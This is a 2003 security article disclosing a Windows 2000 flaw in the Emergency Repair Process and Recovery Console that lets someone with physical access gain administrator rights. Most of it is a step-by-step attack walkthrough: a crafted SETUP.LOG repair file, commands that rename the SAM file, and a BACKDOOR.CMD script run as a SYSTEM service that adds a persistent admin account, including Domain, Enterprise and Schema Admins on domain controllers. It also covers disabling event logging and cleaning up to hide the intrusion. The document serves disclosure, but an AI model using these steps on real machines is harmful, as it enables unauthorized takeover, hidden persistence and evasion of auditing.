Windows 2000 allows unauthorized users to get administrator rights on computer

This article describes a security flaw which allows unauthorized users to get administrator rights on computers that are running Microsoft Windows 2000 operating system.
Published: Apr 07, 2003 Updated: Apr 07, 2003 Section: Network Security Library :: Windows Security Author: Dmytro Bolotov Printable Version Adjust font size: Rating: 4.3/5 - 239 Votes 1 2 3 4 5

AUTHOR

Name: Dmytro Bolotov

Title: Systems Engineer

E-mail dbolotov@hotmail.com

OPERATING SYSTEMS

The information in this article applies to:

§ Microsoft Windows 2000 Professional

§ Microsoft Windows 2000 Professional SP1

§ Microsoft Windows 2000 Professional SP2

§ Microsoft Windows 2000 Professional SP3

§ Microsoft Windows 2000 Server

§ Microsoft Windows 2000 Server SP1

§ Microsoft Windows 2000 Server SP2

§ Microsoft Windows 2000 Server SP3

§ Microsoft Windows 2000 Advanced Server

§ Microsoft Windows 2000 Advanced Server SP1

§ Microsoft Windows 2000 Advanced Server SP2

§ Microsoft Windows 2000 Advanced Server SP3

§ Microsoft Windows 2000 Datacenter Server

§ Microsoft Windows 2000 Datacenter Server SP1

§ Microsoft Windows 2000 Datacenter Server SP2

§ Microsoft Windows 2000 Datacenter Server SP3

Note:

§ It is possible that the information in this article can be applied to the next versions of Windows 2000 Service Packs.

TERMS AGREEMENT

In this article, the impersonator of the Windows installation is a directory with a special set of subdirectories that does not contain the operating system-related files, but it is recognized by Windows 2000/XP Recovery Console as the Windows installation and to which it is possible to log on using Recovery Console without providing the administrator password.

SUMMARY

This article describes a security flaw, I have discovered, which allows unauthorized users to get administrator rights on computers that are running Microsoft Windows 2000 operating system. Target computer can be workstation, stand-alone or member server, so domain controller.

This security flaw allows an attacker to perform an attack successfully even on computers where Windows 2000 is the only operating system that can be run and does not require the hard drive to be physically removed. In addition, the attacker does not need to use third-party tools that allow everyone to bypass NTFS security and to get access to NTFS files from MS-DOS and UNIX operating systems, and does not require of attacker to create an additional installation of Windows 2000 operating system.

Third-party tools which allow everyone to read/write files on NTFS partitions do not recognize dynamic disks and can deal with basic disks only. Dynamic disks do not use partitions or logical drives; they contain dynamic volumes and can be accessed only by computers running Windows 2000 or later. An exception here is when disks have been upgraded from basic to dynamic disks. In this case, dynamic disks still contain references in the partition table of MBR and can be accessed by the third-party tools. If the attacker uses the security flaw described below he or she can access both basic and dynamic disks easily.

SECURITY FLAW

The security flaw is in the Windows 2000 Emergency Repair Process (ERP) which allows everyone to create a new directory at the root of the hard drives with a special set of subdirectories which is recognized by Windows 2000/XP Recovery Console as Windows installation.

The attacker can use this security flaw to create an impersonator of the Windows installation and then run Recovery Console to log on to it successfully, because if the Security Account Manager (SAM) file in the Windows installation is missing or corrupted Windows 2000/XP Recovery Console allows automatic log on to the installation with administrator rights and allows to use the SET command as well, even if "Allow automatic administrative logon" and "Allow floppy copy and access to all drives and all folders" effective security options do not permit to do that. Then, the attacker can rename or delete the SAM file in Windows 2000 installation and reboot the system to allow Windows 2000 to create a new SAM file in which the administrator account has a blank password. When Windows 2000 reboots and the SAM file is missing, a new SAM file is created where name of the administrator account is "administrator" and it has blank password. Now the attacker can log on to the system as the administrator. If the target computer is a domain controller, the attacker can do additional actions to become domain or enterprise administrator.

CONDITIONS AND TOOLS

The attack is successful at the following conditions:

§ The attacker must have physical access to the target computer;

§ The attacker must be able to read floppy disks on the target computer;

§ The attacker must be able to boot the system on the target computer.

The following tools are used in this attack:

§ Four Windows 2000 Setup Boot Disks;

§ Specially composed Emergency Repair Disk (ERD) which is used by the Emergency Repair Process.

§ Instsrv.exe: Service Installer from Windows 2000 Resource Kit Tools

§ Srvany.exe: Applications as Services Utility from Windows 2000 Resource Kit Tools

Note:

§ The attacker can use other programs instead of the Instsrv.exe and Srvany.exe to perform required actions.

A SCENARIO OF THE ATTACK IN DETAILS

This part of the article will show you in details one of scenarios of the attack which can be applied to target computer using this security flaw. First it will show you the way attack can be applied to workstations, stand-alone or member servers, and then the way attack can be applied to domain controllers. In this scenario, the system key (SYSKEY) is stored on the local system. This is the default configuration for the system key.

The attack against workstations, stand-alone and member servers

Step 1 (Core)

The attacker needs to know on what hard drive and partition on the target computer the Windows 2000 operating system is located to create an impersonator of a Windows installation there. To get this information, the attacker boots the target computer and during the phase of startup presses F8 to display advanced startup options. On "Windows 2000 Advanced Options" menu, the attacker selects "Safe Mode" option or any other option which allows boot logging on the screen and then continues to boot the target computer with chosen startup option. During the boot, the system is showing on the screen names of system files and drivers it is loading into the memory, in ARC format. From the names of the files in ARC format, the attacker gets information on what hard drive and partition the system resides on the target computer.

In this scenario, the attacker sees the following lines on the screen:

...

multi(0)disk(0)rdisk(0)partition(1)\WINNT\System32\ntoskrnl.exe

multi(0)disk(0)rdisk(0)partition(1)\WINNT\System32\hal.dll

multi(0)disk(0)rdisk(0)partition(1)\WINNT\System32\BOOTVID.DLL

...

Now, the attacker knows that the system is located on the zero SCSI or IDE hard drive (Harddisk0) and on the first partition (Partition1) on it.

The attacker reboots the target computer.

Step 2 (Core)

The attacker creates four Windows 2000 Setup Boot Disks. Then, he or she creates a floppy disk with two files SETUP.LOG and ACCESS.TXT on it. That floppy disk will be used as the Emergency Repair Disk in the manual repair process started from the Setup Boot Disks. The contents of the SETUP.LOG file are shown below:

[Paths]

TargetDirectory = "\W1X2Y3Z4"

TargetDevice = "\Device\Harddisk0\Partition1"

SystemPartitionDirectory = "\W1X2Y3Z4"

SystemPartition = "\Device\Harddisk0\Partition1"

[Signature]

Version = "WinNt5.0"

[Files.WinNt]

\W1X2Y3Z4\access.txt = "access.txt", "77777", "\", "Windows 2000 ERD", "access.txt"

Where, "Harddisk" number and "Partition" number in the "TargetDevice" key must be numbers which the attacker got to know in the Step 1. Value of the "TargetDirectory" key is the name of the impersonator of the Windows installation the attacker is going to create on the boot partition of the target computer.

Value of the "SystemPartition" key must be equal to value of the "TargetDevice" key and value of the "SystemPartitionDirectory" key must be equal to value of the "TargetDirectory" key.

In this scenario, in the Step 1, the attacker got to know that the system is located on the zero SCSI or IDE hard drive and on the first partition on it. Therefore, the "TargetDevice" key, in the SETUP.LOG file listed above, contains the value "\Device\Harddisk0\Partition1". Name of the impersonator of the Windows installation the attacker is going to create is "\W1X2Y3Z4", as is specified in the "TargetDirectory" key in the SETUP.LOG.

The contents of the ACCESS.TXT file can be of any kind. There is no difference in what that file must contain. In this scenario, it is a "access to the system" string.

Also, he or she copies two command-line tools INSTSRV.EXE and SRVANY.EXE, from Windows 2000 Resource Kit Tools, to the created repair disk. INSTSRV.EXE is a tool that installs and uninstalls executable (.EXE) services and assigns names to them. SRVANY.EXE can configure any Windows application so that it runs as a service.

Note:

§ In Microsoft Windows operating systems the boot partition is a partition where the system files are located. In other words, where Windows directory is located. By default, the name of the Windows directory in Windows 2000 is WINNT.

Step 3 (Core)

The attacker boots the system using four Windows 2000 Setup Boot Disks created in the Step 2. Then he or she performs the manual repair of the Windows installation by using emergency repair disk created in the Step 2. The only repair option the attacker selects for manual repair is "Verify Windows 2000 system files".

During the manual repair, the process will determine that the file specified in the SETUP.LOG in the section [Files.WinNt] does not exist on the boot partition in specified location and will ask the attacker the following:

Setup has determined that the file:

is not the original file that Setup copied to the Windows 2000 installation.

To skip this file, press ESC. The file will not be repair.

To repair this file, press ENTER.

To repair this file and all other files not originally installed with Windows 2000, press A.

To quit Setup, press F3.

Note:

§ <file name> is the name of the file in the SETUP.LOG in the section [Files.WinNt]. In this scenario, <file name> is "\W1X2Y3Z4\access.txt".

§ In this step, the attacker can boot the system using Windows 2000 Setup CD and starts Recovery Console from it, but sometimes the repair process does not create the impersonator of the Windows installation.

The attacker presses ENTER to allow the repair process to create the impersonator of the Windows installation on the hard drive and the partition, where the system is located and to copy the file from the repair floppy disk to that location. Then the repair process will create automatically, in the background, special directory structure in the impersonator of the Windows installation, which any Windows 2000 installation has, and reboots the target computer.

Note:

§ If the attacker receives Stop error during the manual repair as shown below, where is a reference to the NTOSKRNL.EXE file, it means that specified "Harddisk" number or/and "Partition" number in the "TargetDevice" or/and "SystemPartition" key in the SETUP.LOG file are not correct:

*** STOP: 0x00000050 (0xFFFFFFF2,0x00000000,0x80468AD9,0x00000000)

*** Address 80468AD9 base at 80400000, DateStamp 384D5A76 – ntoskrnl.exe

If this is the first time you've seen this Stop error screen,

restart your computer. If this screen appears again, follow

these steps:

Check to make sure any new hardware or software is properly installed.

If this is a new installation, ask your hardware or software manufacturer

for any Windows 2000 updates you might need.

If problem continue, disable or remove any newly installed hardware

or software. Disable memory options such as caching or shadowing.

If you need to use Safe Mode to remove or disable components, restart

your computer, press F8 to select Advanced Startup Options, and then

select Safe Mode.

Refer to your Getting Started manual for more information on

troubleshooting Stop errors.

§ Also, if the SETUP.LOG file is composed incorrectly or contains invalid values, the attacker may receive other Stop errors.

Step 4 (Core)

The attacker boots the system again using four Windows 2000 Setup Boot Disks created in the Step 2 and starts Recovery Console. After Recovery Console has been started, the attacker sees the name of the impersonator of the Windows installation created in the Step 3, among other Windows 2000 installations existing to log onto, and log on to it easily, without providing the administrator password. Now the attacker has local administrator rights on the target computer and can use the SET command as well. Then the attacker goes to Windows 2000 installation, then to SYSTEM32\CONFIG and renames the SAM file using the REN command. He or she exits from Recovery Console and Recovery Console reboots the target computer.

Note:

§ In this step, the attacker can boot the system using Windows 2000 Setup CD and start Recovery Console from it. Also, if Recovery Console is installed already on the target computer he or she can boot normally from the hard drive and start Recovery Console from the bootstrap loader screen.

In this scenario, the attacker sees the following on the screen after Recovery Console has been started:

Microsoft Windows 2000(TM) Recovery Console

The Recovery Console provides system repair and recovery functionality.

Type EXIT to quit the Recovery Console and reboot the computer.

1: C:\W1X2Y3Z4

2: C:\WINNT

Which Windows 2000 installation would you like to log onto

<To cancel, press ENTER>?

The attacker presses 1 and log on to the impersonator (C:\W1X2Y3Z4) of the Windows 2000 installation. Then he or she performs the following commands in Recovery Console:

CD \WINNT\SYSTEM32\CONFIG

REN SAM SAM.BAK

EXIT

Recovery Console reboots the target computer.

Note:

§ In this scenario, WINNT is the directory name where the Windows 2000 operating system is located on the target computer. On other computers, this name can be different.

Explanation

When Windows 2000/XP Recovery Console is searching the Windows installations on the hard drives to which the administrator can log on, it does not examine BOOT.INI file to find them out. To find them out, it just checks all directories at root of all attached hard drives, and if they contain "SYSTEM32" subdirectory in which are "CONFIG" and "DRIVERS" subdirectories, then it interprets them as Windows installations. In other words, for Recovery Console every directory at the root of hard drives with subdirectories is shown below is the Windows installation to which the administrator can log on.

SYSTEM32

SYSTEM32\CONFIG

SYSTEM32\DRIVERS

That behavior allows Recovery Console to find out the Windows installations on computer even if the BOOT.INI file is missing or corrupted.

Step 5 (Core)

In this step, the attacker boots Windows 2000 installation normally on the target computer. When the "Log On to Windows" (also known as, GINA) dialog box appears, he or she types "administrator" in the "User name" box, leaves the "Password" box blank, selects from the "Log on to" box computer domain name of the target computer, and presses ENTER to log onto.

In this scenario, the attacker selects from the "Log on to" box computer domain name TESTLAB.

Now, the attacker has local administrator rights on the target computer and can steal valuable information, carry out illegal administrative tasks and damage the target computer.

Note:

§ If there is more than one domain name in the "Log on to" box on the target computer, the attacker does log on to every listed domain until he or she finds out the correct one. In most cases, the attacker spends no more than five minutes to find that out. After successful logon, the attacker can make sure that found computer domain name is correct, and if needed log off and log on again with the correct name.

Optional Steps

The following three steps are optional and can be used by both the attackers and authorized administrators. For authorized administrators this can be useful in situations when the administrator, who worked previously, leaves the organization or password is lost.

In the steps mentioned below, the attacker returns the original SAM file, which was renamed in the Step 4, and creates in it a new user account with administrator rights. That allows him or her not to lose user accounts, group membership information and other data stored in that file and to continue to have administrator rights on the target computer. After that, the target computer can operate normally as before the attack and provide service for users and other services.

Step 6 (Optional)

After the attacker has logged on to the target system in the Step 5, he or she creates the batch file BACKDOOR.CMD in the %SYSTEMROOT%\SYSTEM32 directory, in this scenario in the C:\WINNT\SYSTEM32, with the contents, that are shown below:

REM --- Add the new user BackDoor with the password Adm1nPa$$Word to SAM ---

NET USER "BackDoor" "Adm1nPa$$Word" /ADD /ACTIVE:YES /EXPIRES:NEVER

REM --- Make the user a member of Administrators groups ---

NET LOCALGROUP "Administrators" "BackDoor" /ADD

Then he or she copies the file INSTSRV.EXE and SRVANY.EXE from the Emergency Repair Disk to C:\WINNT\SYSTEM32.

The attacker runs INSTSRV.EXE with options shown below:

C:\WINNT\SYSTEM32\INSTSRV.EXE "BackDoorSrv" C:\WINNT\SYSTEM32\SRVANY.EXE

That registers SRVANY as the system service with the service name BackDoorSrv. The service is configured for automatic startup and will use Local System account when is running.

The attacker runs REGEDT32.EXE on the target computer and does the following actions with the registry:

1. Adds a new "Parameters" subkey in the following registry location:

"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BackDoorSrv"

2. In the new "Parameters" subkey, creates an "Application" entry with a data type of REG_SZ and

specifies the full path to the created batch file (including the extension) as its value.

Example: Application: REG_SZ: C:\WINNT\SYSTEM32\BACKDOOR.CMD

3. In the "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BackDoorSrv" key,

creates "DependOnService" entry with a data type of REG_MULTI_SZ and specifies "SamSs" as its value.

Example: DependOnService: REG_MULTI_SZ: SamSs

That instructs SRVANY to run the batch file BACKDOOR.CMD as a service. Also, that instructs the system to start BackDoorSrv service after Security Account Manager (SamSs) service is loaded and started. It is necessary, because BackDoorSrv depends on SamSs service.

The attacker reboots the target computer.

Note:

§ The batch file BACKDOOR.CMD will use Local System account when is running, because it will be running in the security context of the SRVANY.

Step 7 (Optional)

This step differs slightly from the Step 4. In the Step 4, the attacker performs the following Recovery Console commands to rename the SAM file:

(The Recovery Console commands from the Step 4)

CD \WINNT\SYSTEM32\CONFIG

REN SAM SAM.BAK

EXIT

Here, in this step, he or she performs the following command in Recovery Console to return the original SAM file:

CD \WINNT\SYSTEM32\CONFIG

DEL SAM

REN SAM.BAK SAM

EXIT

Note:

§ In this scenario, WINNT is the directory name where the Windows 2000 operating system is located on the target computer. On other computers, this name can be different.

Step 8 (Optional)

In this step, the attacker boots Windows 2000 installation normally. When the "Log On to Windows" dialog box appears, he or she types "BackDoor" in the "User name" box, "Adm1nPa$$Word" in the "Password" box, selects from the "Log on to" box computer domain name of the target computer, and presses ENTER to log onto.

In this scenario, the attacker selects from the "Log on to" box computer domain name TESTLAB.

Now, the attacker has returned the original SAM file of the target computer with all user accounts, group membership information and other data stored there. Also, the attacker continues to have local administrator rights on the computer, because he or she has created the user account (BackDoor), which is part of the administrator’s group. The computer can operate normally as before the attack and provide service for users and other services. Meanwhile, the attacker can steal valuable information, carry out illegal administrative tasks, infect the system by Trojan horses, damage the computer, and even damage reputations.

Note:

§ If the attacker receives Logon message as shown below, it means that the service BackDoorSrv is not started yet, and he or she waits for a few seconds:

The system could not log you on. Make sure User name and domain are correct, then type your password again. Letters in passwords must be typed using the correct case. Make sure that Caps Lock is not accidentally on.

§ If the attacker receives Logon message as shown below, it means that the service BackDoorSrv is started, but still in the process of carrying out batch file commands and he or she waits for a few seconds:

The local policy of this system does not permit you to logon interactively.

The attack against domain controllers

The attack against domain controllers is the same as the attack against workstations, stand-alone or member servers, but with three slight differences that are shown below. Also, all optional steps described above (the step 6, 7 and 8) are core steps in the attack against domain controllers.

The first difference

In the step 5, the attacker boots Windows 2000 installation normally. In the attack against domain controllers, the attacker boots Windows 2000 using "Directory Services Restore Mode", instead of booting Windows 2000 normally. This allows putting the domain controller on the target computer into Directory Services Restore Mode (DSRM) and using the offline SAM database.

Note:

§ To put the domain controller into DSRM, the attacker during the phase of system startup presses F8 to display advanced startup options. On "Windows 2000 Advanced Options" menu, the attacker selects "Directory Services Restore Mode" option and then continues to boot the target computer with chosen startup option.

The second difference

In the step 6, the attacker creates the batch file BACKDOOR.CMD in the %SYSTEMROOT%\SYSTEM32 directory, with the following contents:

(The contents of the batch file from the Step 6)

REM --- Add the new user BackDoor with the password Adm1nPa$$Word to SAM ---

NET USER "BackDoor" "Adm1nPa$$Word" /ADD /ACTIVE:YES /EXPIRES:NEVER

REM --- Make the user a member of Administrators groups ---

NET LOCALGROUP "Administrators" "BackDoor" /ADD

Here, in the attack against domain controllers, he or she creates the batch file BACKDOOR.CMD with the following contents:

REM --- Add the new user BackDoor with the password Adm1nPa$$Word to AD ---

NET USER "BackDoor" "Adm1nPa$$Word" /ADD /ACTIVE:YES /EXPIRES:NEVER

REM --- Make the user a member of administrative groups ---

NET LOCALGROUP "Administrators" "BackDoor" /ADD

NET GROUP "Domain Admins" "BackDoor" /ADD

NET GROUP "Enterprise Admins" "BackDoor" /ADD

NET GROUP "Schema Admins" "BackDoor" /ADD

NET GROUP "Group Policy Creator Owners" "BackDoor" /ADD

Note:

§ In this scenario, in the attack against domain controllers, the domain under the attack is the forest root domain.

The third difference

This is the last difference. In the step 8, the attacker selects from the "Log on to" box computer domain name of the target computer to log onto. In the attack against domain controllers, he or she selects from the "Log on to" box the name of the active directory domain under the attack. Certainly, after the logon, the attacker gets domain administrator rights.

In this scenario, in the attack against domain controllers, the attacker selects from the "Log on to" box the flat domain name MYDOMAIN.

CLEANUP AFTER THE ATTACK

If necessary, after the attack, the attacker can cleanup the system to hide his or her intrusion.

ADDITIONAL INFORMATION

§ In real attack, the attacker can choose another name for the impersonator of the Windows installation, the BACKDOOR.CMD batch file and the user account BackDoor.

§ If the Group Policy (GP) of the target computer does not permit created by the attacker user account to log on to the target computer interactively or through the network or to carry out privileged tasks, the attacker can find out who can do that easily, and after he or she can grant his or her user account required rights or include it to the required groups.

§ If registry editing tools have been disabled on the target computer, the attacker can create .REG file and import its contents to the registry or use another Registry API-based program to perform required manipulations with the registry.

§ The attacker can disable Event Viewer or other monitoring services on the target computer to prevent logging of events on the computer. For example, that can be done by the attacker, because the authorized administrator can enable auditing of the SAM file or other valuable files, and any use of that or those files other than a system backup or virus scan can be investigated by the administrator or computer security team.

§ The attacker can find out the administrator account and reset its password, instead of creating a batch/script file that adds a new user with administrator rights on the target computer or in domain. The administrator account name can be found by looking in accounts in the SAM database or Active Directory which has relative identifier (RID) 500.

§ Executable files are running under the Local System account (NT AUTHORITY\SYSTEM) contain in their security token the security identifier (SID) of the local Administrators group (S-1-5-32-544). That allows the executables to have the same access to objects which the Administrators group has, except for the case when object security descriptor denies access to the "NT AUTHORITY\SYSTEM" security principal explicitly.

§ Storing the EFS recovery private keys on computers allow the attacker to use the EFS recovery accounts on the computer to read files that are encrypted by others. To prevent this, store them on secure media in a safe place, and remove the keys from computers.

Remember that a fundamental aspect of security is the physical security of the computer itself, any computer that is physically easy to access is vulnerable to attack.